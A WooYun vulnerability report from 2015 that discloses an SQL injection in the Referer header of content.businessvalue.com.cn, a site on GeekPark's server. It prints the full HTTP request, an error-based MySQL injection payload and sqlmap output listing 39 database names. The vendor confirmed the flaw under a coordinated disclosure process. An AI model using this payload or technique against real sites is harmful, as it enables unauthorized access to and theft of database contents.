当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-092592

漏洞标题：极客公园同服务器网站商业价值主站存在SQL注入漏洞

相关厂商：geekpark.net

漏洞作者： 猪猪侠

提交时间：2015-01-18 22:33

修复时间：2015-03-04 22:34

公开时间：2015-03-04 22:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-18： 细节已通知厂商并且等待厂商处理中
2015-01-18： 厂商已经确认，细节仅向厂商公开
2015-01-28： 细节向核心白帽子及相关领域专家公开
2015-02-07： 细节向普通白帽子公开
2015-02-17： 细节向实习白帽子公开
2015-03-04： 细节向公众公开

简要描述：

和 http://www.wooyun.org/bugs/wooyun-2015-092526 一样，注入出来的数据库也一模一样，顺带捎话给你们的朋友。

详细说明：

商业价值主站 content.businessvalue.com.cn
Referer: http://content.businessvalue.com.cn/special/32819* ，存在SQL注入

GET /post/32961.html HTTP/1.1
Host: content.businessvalue.com.cn
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Referer: http://content.businessvalue.com.cn/special/32819*
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: pgv_pvi=1958474752; pgv_si=s3200179200; ci_session=a%3A6%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%226ebc76ed6a178c73416cfca895c369c6%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22113.68.18.194%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A108%3A%22Mozilla%2F5.0+%28Windows+NT+6.3%3B+WOW64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F39.0.2171.99+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1421583271%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A11%3A%22total_socre%22%3Bi%3A0%3B%7Da8e957da40455219e58795456bbad7f6; __utma=117721882.1135520656.1421583646.1421583646.1421583646.1; __utmb=117721882.10.10.1421583646; __utmc=117721882; __utmz=117721882.1421583646.1.1.utmcsr=baidu|utmccn=(organic)|utmcmd=organic|utmctr=%E5%95%86%E4%B8%9A%E4%BB%B7%E5%80%BC
Connection: Keep-Alive

漏洞证明：

[22:31:14] [INFO] it appears that the target is not protected
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: Referer #1* ((custom) HEADER)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: http://content.businessvalue.com.cn/special/32819' AND (SELECT 8996 FROM(SELECT COUNT(*),CONCAT(0x7176717071,(SELECT (CASE WHEN (8996=8996) THEN 1 ELSE 0 END)),0x717a716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'xKpf'='xKpf
---
[22:31:14] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.22, PHP 5.3.27
back-end DBMS: MySQL 5.0
[22:31:14] [INFO] fetching database names
[22:31:14] [INFO] the SQL query used returns 39 entries
available databases [39]:
[*] agenda
[*] alight
[*] backbone
[*] bailing
[*] biztech
[*] bv_blog
[*] bv_blog1
[*] ccnet-db
[*] content1
[*] content2014
[*] content9
[*] edm
[*] fxk
[*] iadmin
[*] iapps
[*] iapps2013
[*] iapps_admin
[*] information_schema
[*] magazine
[*] mt
[*] mysql
[*] readers
[*] rhea
[*] routine
[*] seafile-db
[*] seahub-db
[*] survey
[*] tchw
[*] tchw_english
[*] test
[*] test_up
[*] test_weixin
[*] tmtpost
[*] topictalks
[*] w3
[*] wcf
[*] wikka
[*] wp_test
[*] yourls

修复方案：

过滤

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-01-18 22:39

厂商回复：

哈哈哈哈

最新状态：

暂无